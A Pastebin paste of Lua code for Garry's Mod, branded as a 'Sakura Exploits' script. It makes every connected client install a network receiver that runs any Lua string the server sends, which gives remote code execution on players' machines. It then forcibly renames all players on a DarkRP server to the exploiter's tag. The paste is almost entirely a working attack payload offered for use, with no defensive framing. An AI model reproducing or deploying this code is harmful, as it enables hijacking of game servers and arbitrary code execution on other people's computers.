Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString "slua6"
- local DESIRED_NAME = "WhySoSerieuz ! | Sakura Exploits - The Best Exploiter"
- local lol = {}
- function lol:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- lol.m_tblActions = {}
- lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
- lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function lol:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function lol:NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- function lol:Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:NextAction( pPlayer )
- end
- function lol:SendLua( pPlayer, strLua )
- net.Start( "slua6" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function lol:SetupPlayer( pPlayer )
- pPlayer:SendLua( "net.Receive(\"slua6\", function() RunString(net.ReadString()) end)" )
- end
- ------- STARTCODE FOR FORCE CHANGE NAME
- for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
- ------- STOP LINE CODE FOR CHANGE NAME
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement